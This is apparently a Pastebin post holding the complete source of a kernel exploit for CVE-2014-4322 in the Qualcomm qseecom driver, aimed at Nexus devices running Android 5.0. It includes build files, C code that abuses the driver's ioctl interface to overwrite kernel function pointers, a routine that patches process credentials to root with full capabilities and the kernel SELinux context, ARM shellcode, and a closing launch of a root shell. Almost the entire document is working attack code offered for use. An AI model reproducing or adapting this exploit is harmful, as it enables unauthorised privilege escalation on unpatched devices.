Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * CVE-2014-4322 exploit for Nexus Android 5.0
- *
- * Author : in73ct0r d3vil
- * Dedicated to HSH members --==[[HELL SHIELD HACKERS]]==--
- * Facebook page: https://www.facebook.com/devilforevryone?ref=hl
- *
- * The exploit must be excuted as system privilege and specific SELinux context.
- * If exploit successed,you will gain root privilege and "kernel" SELinux context
- *
- * bug info:
- * https://www.codeaurora.org/projects/security-advisories/memory-corruption-qseecom-driver-cve-2014-4322
- *
- * how to build:
- *
- create an Android.mk as follow:
- include $(CLEAR_VARS)
- include $(CLEAR_VARS)
- LOCAL_SRC_FILES:= ./msm.c \
- ./shellcode.S
- LOCAL_MODULE:= exploit
- #LOCAL_C_INCLUDES += $(common_includes)
- LOCAL_CPPFLAGS += -DDEBUG
- LOCAL_CFLAGS += -DDEBUG
- LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog
- include $(BUILD_EXECUTABLE)
- include $(BUILD_EXECUTABLE)
- create Application.mk as follow:
- APP_ABI := armeabi
- APP_PLATFORM := android-8
- APP_PIE:= true
- use ndk-build to build the project
- usage:
- run exploit as system privilege,with SELinux context such as "keystore","vold","drmserver","mediaserver","surfaceflinger"
- *
- * If exploit successed,you will gain root privilege and "kernel" SELinux context
- *
- *
- * */
- //=========================================msm.c=============================================
- #include <string.h>
- #include <jni.h>
- #include <android/log.h>
- #include <pthread.h>
- #include <sys/prctl.h>
- #include <sys/ioctl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <asm/ptrace.h>
- #include <asm/user.h>
- #include <asm/ptrace.h>
- #include <sys/wait.h>
- #include <sys/mman.h>
- #include <sys/types.h>
- #include <dlfcn.h>
- #include <dirent.h>
- #include <unistd.h>
- #include <linux/elf.h>
- #include <linux/reboot.h>
- #include <errno.h>
- #include <dlfcn.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <fcntl.h>
- #include <unistd.h>
- #include <errno.h>
- #include <dirent.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <sys/mount.h>
- #include <linux/ptrace.h>
- #include <linux/prctl.h>
- #include <sys/system_properties.h>
- #include <errno.h>
- #include <termios.h>
- #include <sys/syscall.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <netinet/in.h>
- #include <errno.h>
- #include <linux/ion.h>
- #include "../kernel.h"
- #include "qseecom.h"
- //4.4.2 CFW(for debug)
- //#define PTMX_FOPS 0xc1334e00
- //fnPrintk printk = 0xc0a0113c;
- //Nexus Android 5.0 OFW
- #define PTMX_DEVICE "/dev/ptmx"
- #define PTMX_FOPS 0xc1236cd8
- fnPrintk printk = 0xc0a21e78;
- int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux);
- int kmemcmp(char *a1, char *a2, int len)
- {
- int v3; // r3@2
- int v4; // r4@3
- int v5; // r5@3
- int result; // r0@4
- if ( len )
- {
- v3 = 0;
- while ( 1 )
- {
- v4 = a1[v3];
- v5 = a2[v3];
- if ( v4 != v5 )
- break;
- if ( a1[v3] )
- {
- ++v3;
- if ( len != v3 )
- continue;
- }
- goto LABEL_7;
- }
- result = v4 - v5;
- }
- else
- {
- LABEL_7:
- result = 0;
- }
- return result;
- }
- int g_pid = 0;
- int g_tgid = 0;
- int open_ion(){
- int fd = open("/dev/ion",O_RDONLY);
- if (fd<0){
- perror("open");
- }
- printf("ion fd %d\n",fd);
- return fd;
- }
- // http://lwn.net/Articles/480055/
- /*
- * struct ion_allocation_data {
- size_t len;
- size_t align;
- unsigned int heap_mask;
- unsigned int flags;
- struct ion_handle *handle;
- };
- *
- *
- * */
- #define ION_FLAG_SECURE (1<<31)
- int alloc_ion_memory(int client_fd,int size,struct ion_handle** pphandle){
- int ret = -1;
- struct ion_allocation_data data;
- // ION_FLAG_CACHED
- data.len = size;
- data.align = size;
- data.flags = ION_HEAP_TYPE_CARVEOUT ;
- //data.heap_mask = ION_HEAP_TYPE_CARVEOUT;
- //data.handle = handle;
- ret = ioctl(client_fd, ION_IOC_ALLOC, &data);
- if (ret<0){
- perror("ION_IOC_ALLOC");
- }
- *pphandle = data.handle;
- return ret;
- }
- /*
- struct ion_fd_data {
- struct ion_handle *handle;
- int fd;
- }
- */
- int share_ion_memory(int client_fd,struct ion_handle* handle){
- struct ion_fd_data data;
- data.handle = handle;
- data.fd = -1;
- int ret = ioctl(client_fd, ION_IOC_SHARE, &data);
- return data.fd;
- }
- int obtain_dma_buf_fd(int size){
- int fd_device = open_ion();
- int dmf_fd = -1;
- struct ion_handle* handle;
- int ret = alloc_ion_memory(fd_device,size,&handle);
- if (ret<0){
- perror("alloc_ion_memory");
- }
- dmf_fd = share_ion_memory(fd_device,handle);
- if (dmf_fd<0){
- perror("share_ion_memory");
- }
- return dmf_fd;
- }
- void* fd_to_mmap(int fd,int size){
- void* seg_addr = mmap(0,
- size ,
- PROT_READ | PROT_WRITE,
- MAP_SHARED,
- fd,
- 0);
- if(seg_addr == MAP_FAILED){
- perror("fd_to_map");
- }
- return seg_addr;
- }
- //c0a0113c T printk
- void sayhello(){
- fnPrintk printk = 0xc0a0113c;
- printk("hell0 shellocde");
- return;
- }
- void shell_code2();
- static int
- run_obtain_root_privilege()
- {
- int fd;
- int ret;
- fd = open(PTMX_DEVICE, O_WRONLY);
- if(fd<=0){perror("ptmx");return -1;}
- ret = fsync(fd);
- close(fd);
- return ret;
- }
- int main(int argc, char *argv[]){
- printf("mypid %d\n",getpid());
- int ret = -1;
- int fd = open("/dev/qseecom", 0);
- if (fd<0){
- perror("open");
- exit(-1);
- }
- void* abuseBuff = malloc(400);
- memset(abuseBuff,0,400);
- int* intArr = (int*)abuseBuff;
- int j = 0;
- for(j=0;j<24;j++){
- intArr[j] = 0x1;
- }
- struct qseecom_send_modfd_cmd_req ioctlBuff;
- prctl(PR_SET_NAME, "GodFather", 0, 0, 0);
- // if(0==fork()){
- g_pid = getpid();
- g_tgid = g_pid;
- prctl(PR_SET_NAME, "ihoo.darkytools", 0, 0, 0);
- //QSEECOM_IOCTL_SET_MEM_PARAM_REQ
- struct qseecom_set_sb_mem_param_req req;
- req.ifd_data_fd = obtain_dma_buf_fd(8192);
- req.virt_sb_base = abuseBuff;
- req.sb_len = 8192;
- ret = ioctl(fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &req);
- printf("QSEECOM_IOCTL_SET_MEM_PARAM_REQ return 0x%x \n",ret);
- ioctlBuff.cmd_req_buf = abuseBuff;
- ioctlBuff.cmd_req_len = 400;
- ioctlBuff.resp_buf = abuseBuff;
- ioctlBuff.resp_len = 400;
- int i = 0;
- for (i = 0;i<4;i++){
- ioctlBuff.ifd_data[i].fd = 0;
- ioctlBuff.ifd_data[i].cmd_buf_offset =0;
- }
- ioctlBuff.ifd_data[0].fd = req.ifd_data_fd;
- ioctlBuff.ifd_data[0].cmd_buf_offset = 0;//(int)(0xc03f0ab4 + 8) - (int)abuseBuff;
- printf("QSEECOM_IOCTL_SEND_CMD_REQ");
- ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff);
- printf("return %p %p\n",intArr[0],intArr[1]);
- perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n");
- printf("ioctl return 0x%x \n",ret);
- //*(int*)intArr[0] = 0x0;
- void* addr = mmap(intArr[0],4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,-1,0);
- printf("mmap return %p \n",addr);
- *(int*)addr = 0xE3500000;
- *((int*)((int)addr+4)) = 0xe1a0f00e;
- memcpy(addr,shell_code2,400);
- int* arr = (int*)addr;
- for(i=0;i<10;i++){
- if(arr[i] == 0xeeeeeeee)
- arr[i] = (int)MyCommitCred;
- printf("%p\n",arr[i]);
- }
- //c1334e00 b ptmx_fops
- ioctlBuff.ifd_data[0].cmd_buf_offset = (int)(PTMX_FOPS + 14*4) - (int)abuseBuff;
- printf("QSEECOM_IOCTL_SEND_CMD_REQ");
- ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff);
- printf("return %p %p\n",intArr[0],intArr[1]);
- perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n");
- printf("ioctl return 0x%x \n",ret);
- run_obtain_root_privilege();
- char * argv1[]={"sh",(char *)0};
- int result = execv("/system/bin/sh", argv1);
- if(result){
- perror("execv");
- }
- return 0;
- }
- int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux)
- {
- int v38; // [sp+0h] [bp-60h]@1
- int addrBase;
- char szName[16] = "ihoo.darkytools";
- int offset;
- mycred *my_cred;
- mycred *my_real_cred;
- struct task_security_struct * tsec;
- int ret = -1;
- int searchLenth;
- isSelinux = 1;
- //return 0;
- addrBase = *(int*)(((int)(&v38) & 0xFFFFE000) + 0xC);
- //return addrBase;
- if ( addrBase > 0xBFFFFFFF )
- {
- offset = 0;
- while ( 1 )
- {
- addrBase += 4;
- if ( !kmemcmp(addrBase, szName, 16) )
- break;
- ++offset;
- if ( offset == 0x600 )
- {
- return 18;
- }
- }
- }
- else
- return 17;
- my_cred = *(int*)(addrBase -8);
- my_real_cred = *(int*)(addrBase -8 - 4);
- searchLenth = 0;
- while(searchLenth<0x20){
- if(!my_cred || !my_real_cred
- || my_cred<0xBFFFFFFF || my_real_cred<0xBFFFFFFF
- ){
- //2.6?
- addrBase-=4;
- my_cred = *(int*)(addrBase-8 );
- my_real_cred = *(int*)(addrBase -8-4);
- }
- else
- break;
- searchLenth++;
- }
- if(searchLenth == 0x20)
- return 0X20;
- // fuck!! where is my cred???
- my_cred->uid = 0;
- my_cred->gid = 0;
- my_cred->suid = 0;
- my_cred->sgid = 0;
- my_cred->egid = 0;
- my_cred->euid = 0;
- my_cred->fsgid = 0;
- my_cred->fsuid = 0;
- my_cred->securebits=0;
- my_cred->cap_bset.cap[0] = -1;
- my_cred->cap_bset.cap[1] = -1;
- my_cred->cap_inheritable.cap[0] = -1;
- my_cred->cap_inheritable.cap[1] = -1;
- my_cred->cap_permitted.cap[0] = -1;
- my_cred->cap_permitted.cap[1] = -1;
- my_cred->cap_effective.cap[0] = -1;
- my_cred->cap_effective.cap[1] = -1;
- my_real_cred->uid = 0;
- my_real_cred->gid = 0;
- my_real_cred->suid = 0;
- my_real_cred->sgid = 0;
- my_real_cred->egid = 0;
- my_real_cred->euid = 0;
- my_real_cred->fsgid = 0;
- my_real_cred->fsuid = 0;
- my_real_cred->securebits=0;
- my_real_cred->cap_bset.cap[0] = -1;
- my_real_cred->cap_bset.cap[1] = -1;
- my_real_cred->cap_inheritable.cap[0] = -1;
- my_real_cred->cap_inheritable.cap[1] = -1;
- my_real_cred->cap_permitted.cap[0] = -1;
- my_real_cred->cap_permitted.cap[1] = -1;
- my_real_cred->cap_effective.cap[0] = -1;
- my_real_cred->cap_effective.cap[1] = -1;
- if(isSelinux){
- tsec = my_cred->security;
- if(tsec && tsec > 0xBFFFFFFF){
- tsec->sid = 1;
- tsec->exec_sid = 1;
- ret = 15;
- }
- else {
- tsec = (struct task_security_struct*)(*(int*)(0x10 + (int)&my_cred->security));
- if(tsec && tsec > 0xBFFFFFFF){
- tsec->sid = 1;
- tsec->exec_sid = 1;
- ret = 15;
- }
- }
- tsec = my_real_cred->security;
- if(tsec && tsec > 0xBFFFFFFF){
- tsec->sid = 1;
- tsec->exec_sid = 1;
- ret = 15;
- }else {
- tsec = (struct task_security_struct*)(*(int*)(0x10 + (int)&my_real_cred->security));
- if(tsec && tsec > 0xBFFFFFFF){
- tsec->sid = 1;
- tsec->exec_sid = 1;
- ret = 15;
- }
- }
- }
- else{
- ret = 16;
- }
- printk("return %d",ret);
- return ret;
- }
- //=========================================msm.c end=============================================
- //=========================================shellcode.S start=============================================
- #define __ASSEMBLY__
- #include <linux/linkage.h>
- .extern sayhello
- ENTRY(shell_code2)
- ldr r0, [pc , #4]
- STMFD SP!, {R0}
- LDMFD SP!, {PC}
- .byte 0xee, 0xee, 0xee, 0xee
- //=========================================shellcode.S end=============================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement